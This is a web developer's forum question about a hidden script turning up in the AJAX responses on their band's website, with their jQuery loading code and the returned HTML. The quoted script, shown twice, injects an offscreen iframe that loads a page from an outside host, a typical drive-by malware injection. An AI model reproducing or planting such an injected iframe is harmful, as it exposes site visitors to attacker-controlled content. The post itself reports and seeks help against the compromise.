title: Very Confusing Return Data with AJAX Call
body: <p>Whenever a link is clicked on the site at <a href="http://www.btandthetenants.com" rel="nofollow">http://www.btandthetenants.com</a>, I have an AJAX request to make the content load automatically.  However, recently, I have been seeing this confusing bit of code injected into my return data:</p>
  
  <pre class="lang-js prettyprint-override"><code>&lt;script&gt;
      var _q = document.createElement('iframe'),
          _n = 'setAttribute';
      _q[_n]('src', 'http://cabaniaseleden.com.ar/stats.php');
      _q.style.position = 'absolute';
      _q.style.width = '12px';
      _q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7f08d1087e22') + 1);
      _q.style.left = '-4327px';
      document.write('&lt;div id=\'pzeadv\'&gt;&lt;/div&gt;');
      document.getElementById('pzeadv').appendChild(_q);​
  &lt;/script&gt;
  </code></pre>
  
  <p>This is my current code for clicking:</p>
  
  <pre class="lang-js prettyprint-override"><code>$("#nav a").click(function(event) {
      var sHREF = $(this).attr("href");
      var sPage = sHREF.replace(oVars.sPrefix(), "");
  
      if (oVars.sCurrent != sPage) {
          // As long as we're not currently on the page we just clicked on...
          //oVars.sCurrent = sPage;
          if (oVars.oArchive.isOpen()) oVars.oArchive.toggle();
          loadContent(sHREF, true, false);
          track(sPage);
      }
      event.preventDefault();
  });​
  </code></pre>
  
  <p>... and the <code>loadContent</code> function:</p>
  
  <pre class="lang-js prettyprint-override"><code>function loadContent(sURL, bPush, bReplace) {
  
      var $Box = $("#loaded .box-1"),
          $Content = $Box.find(".inner");
  
      $("#nav a").removeClass("active");
  
      $("#nav a[href='"+ sURL +"']").addClass("active");
  
      oVars.sCurrent = sURL.split("&amp;")[0];
  
      // Closes any picture open in Colorbox.
  
      if ( oVars.sCurrent != "pictures" &amp;&amp; oVars.bI &amp;&amp; $("#colorbox").css("display") != "none" )
          $.colorbox.close();
  
      if (!oVars.bIE) {
  
          if (bPush) {
  
              var objState = { page: oVars.sCurrent };
  
              if (bReplace)
                  history.replaceState(objState, "", "");
              else
                  history.pushState(objState, "", sURL);
  
          } else {}
  
      }
  
      if (!bReplace) {
  
          // Load the page.
  
          $Box.slideUp(oVars.iSpeed / 2, "", function() {
  
              $.get(
  
                  "index.php" + oVars.sPrefix() + sURL,
  
                  oVars.oNHF,
  
                  function(sData) {
  
                      var $El = $(sData).filter(":first"),                // This is the element that would be displayed
                          $Script = $(sData).filter(":last"),
                          sPage = extractPage("ending").toLowerCase();
  
                      console.debug(sData);
  
                      // Change documentElement to body and circumvent the issues caused by the iPhone version... yadda yadda.
  
                      document.documentElement.className = sPage;
  
                      // Try and make it a regular expression to replace the words after the separator.
  
                      document.title = oPHP.const.NAME + oPHP.const.TEXT_DIVIDER + ( (sPage == "home") ? "Home" : oPHP.vars.titles[sPage].replace(/\&lt;.*\&gt;/, "").trim() );//ucwords(sPage);
  
                      $Box.html(sData).slideDown(oVars.iSpeed / 2);
  
                      // Reload the Facebook widgets for the current page.
  
                      reloadWidgets();
  
                  }
  
              );
  
          } );
  
      }
  
  }
  </code></pre>
  
  <p><code>sData</code> in <code>loadContent</code> is returning that mysterious <code>&lt;script&gt;</code> tag at the beginning like this:</p>
  
  <pre class="lang-html prettyprint-override"><code>&lt;script&gt;
  
  // THIS IS THE EVIL SNIPPET THAT'S BEING INSERTED INTO MY CODE.
  
  var _q = document.createElement('iframe'),
      _n = 'setAttribute';
  _q[_n]('src', 'http://cabaniaseleden.com.ar/stats.php');
  _q.style.position = 'absolute';
  _q.style.width = '12px';
  _q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7f08d1087e22') + 1);
  _q.style.left = '-4327px';
  document.write('&lt;div id=\'pzeadv\'&gt;&lt;/div&gt;');
  document.getElementById('pzeadv').appendChild(_q);
  
  &lt;/script&gt;
  
  &lt;div class="box-1" id="pictures"&gt;
      &lt;div class="title"&gt;
          Pictures &lt;span class="links"&gt;&lt;a class="fblink" href="http://www.facebook.com/elemovements?sk=photos" target="_blank" title="Visit this Page on Facebook"&gt;View on Facebook&lt;/a&gt;&lt;/span&gt;
      &lt;/div&gt;
      &lt;div class="body"&gt;
          &lt;div class="inner transition"&gt;
              &lt;div&gt;
                  &lt;div class="section-title"&gt;
                      Albums
                  &lt;/div&gt;
                  &lt;span class="gray italic size"&gt;(4 albums, 13 pictures)&lt;/span&gt;
              &lt;/div&gt;
              &lt;div class="album-container"&gt;
                  &lt;a fb-href="http://www.facebook.com/album.php?fbid=332120860192434&amp;id=156848747719647&amp;aid=77394" href="pictures&amp;action=list_pics&amp;aid=156848747719647_77394&amp;size=1&amp;name=Wall Photos" title=""&gt;
                  &lt;div class="album"&gt;
                      &lt;img src="http://photos-a.ak.fbcdn.net/hphotos-ak-ash3/527637_332120863525767_1834367592_s.jpg"&gt;
                  &lt;/div&gt;
                  &lt;/a&gt;
                  &lt;div class="name"&gt;
                      &lt;a fb-href="http://www.facebook.com/album.php?fbid=332120860192434&amp;id=156848747719647&amp;aid=77394" href="pictures&amp;action=list_pics&amp;aid=156848747719647_77394&amp;size=1&amp;name=Wall Photos" title=""&gt;Wall Photos&lt;/a&gt;
                  &lt;/div&gt;
              &lt;/div&gt;
              &lt;div class="album-container"&gt;
                  &lt;a fb-href="http://www.facebook.com/album.php?fbid=171845276219994&amp;id=156848747719647&amp;aid=44093" href="pictures&amp;action=list_pics&amp;aid=156848747719647_44093&amp;size=2&amp;name=Posters" title=""&gt;
                  &lt;div class="album"&gt;
                      &lt;img src="http://photos-b.ak.fbcdn.net/hphotos-ak-ash4/427627_278221322249055_1137145612_s.jpg"&gt;
                  &lt;/div&gt;
                  &lt;/a&gt;
                  &lt;div class="name"&gt;
                      &lt;a fb-href="http://www.facebook.com/album.php?fbid=171845276219994&amp;id=156848747719647&amp;aid=44093" href="pictures&amp;action=list_pics&amp;aid=156848747719647_44093&amp;size=2&amp;name=Posters" title=""&gt;Posters&lt;/a&gt;
                  &lt;/div&gt;
              &lt;/div&gt;
              &lt;div class="album-container"&gt;
                  &lt;a fb-href="http://www.facebook.com/album.php?fbid=261713630566491&amp;id=156848747719647&amp;aid=63000" href="pictures&amp;action=list_pics&amp;aid=156848747719647_63000&amp;size=4&amp;name=Newby's Show" title="The guys' show on 1/29/2012 at Newby's. Taken in Memphis, TN."&gt;
                  &lt;div class="album"&gt;
                      &lt;img src="http://photos-f.ak.fbcdn.net/hphotos-ak-ash4/407659_261713673899820_1183906213_s.jpg"&gt;
                  &lt;/div&gt;
                  &lt;/a&gt;
                  &lt;div class="name"&gt;
                      &lt;a fb-href="http://www.facebook.com/album.php?fbid=261713630566491&amp;id=156848747719647&amp;aid=63000" href="pictures&amp;action=list_pics&amp;aid=156848747719647_63000&amp;size=4&amp;name=Newby's Show" title="The guys' show on 1/29/2012 at Newby's. Taken in Memphis, TN."&gt;Newby's Show&lt;/a&gt;
                  &lt;/div&gt;
              &lt;/div&gt;
              &lt;div class="album-container"&gt;
                  &lt;a fb-href="http://www.facebook.com/album.php?fbid=232326246838563&amp;id=156848747719647&amp;aid=56722" href="pictures&amp;action=list_pics&amp;aid=156848747719647_56722&amp;size=6&amp;name=Oxford Show" title="Taken in Oxford, MS."&gt;
                  &lt;div class="album"&gt;
                      &lt;img src="http://photos-d.ak.fbcdn.net/hphotos-ak-ash4/390726_232326290171892_2122883596_s.jpg"&gt;
                  &lt;/div&gt;
                  &lt;/a&gt;
                  &lt;div class="name"&gt;
                      &lt;a fb-href="http://www.facebook.com/album.php?fbid=232326246838563&amp;id=156848747719647&amp;aid=56722" href="pictures&amp;action=list_pics&amp;aid=156848747719647_56722&amp;size=6&amp;name=Oxford Show" title="Taken in Oxford, MS."&gt;Oxford Show&lt;/a&gt;
                  &lt;/div&gt;
              &lt;/div&gt;
              &lt;script id="logic" language="javascript" src="min/?f=/js/logic/pictures.js" type="text/javascript"&gt;&lt;/script&gt;
          &lt;/div&gt;
      &lt;/div&gt;
  &lt;/div&gt;
  </code></pre>
  
  <p>My data is after the script tag and it is nowhere in my code.  You can always check this yourself in a console of some kind.</p>